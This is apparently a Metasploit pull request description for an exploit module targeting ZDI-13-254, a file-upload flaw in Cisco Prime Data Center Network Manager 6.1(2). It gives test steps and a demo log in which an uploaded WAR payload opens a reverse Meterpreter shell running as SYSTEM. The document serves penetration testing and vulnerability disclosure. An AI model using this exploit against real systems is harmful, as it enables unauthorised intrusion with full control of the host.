Add module for ZDI-13-254

* Verification

- [ ] Install windows 2008 r2 64 bits 
- [ ] Install Cisco Prime Data Center Network Manager 6.1(2) (64 bits) (if you need ask me for installer if need to test this pr)
- [ ] Launch msfconsole, use this module like in the DEMO, should enjoy sessions

* DEMO

```
msf exploit(cisco_dcnm_upload) > check

[*] Cisco Primer Data Center Network Manager version 6.1(2) found
[+] The target is vulnerable.
msf exploit(cisco_dcnm_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.137:80 - Uploading WAR file YHjHVQAmvTdpaUdKmtK7elwYIdh.war...
[*] 192.168.172.137:80 - Attempting to launch payload in deployed WAR...
[*] 192.168.172.137:80 - Attempting to launch payload in deployed WAR...
[*] Sending stage (30355 bytes) to 192.168.172.137
[*] Meterpreter session 8 opened (192.168.172.1:4444 -> 192.168.172.137:53989) at 2013-11-29 23:09:47 -0600
[+] Deleted ../../jboss-4.2.2.GA/server/fm/deploy/YHjHVQAmvTdpaUdKmtK7elwYIdh.war

meterpreter > getuid
Server username: SYSTEM
meterpreter > sysinfo
Computer    : WIN-9OJ3V46B3QH
OS          : Windows Server 2008 R2 6.1 (amd64)
Meterpreter : java/java
meterpreter > exit
```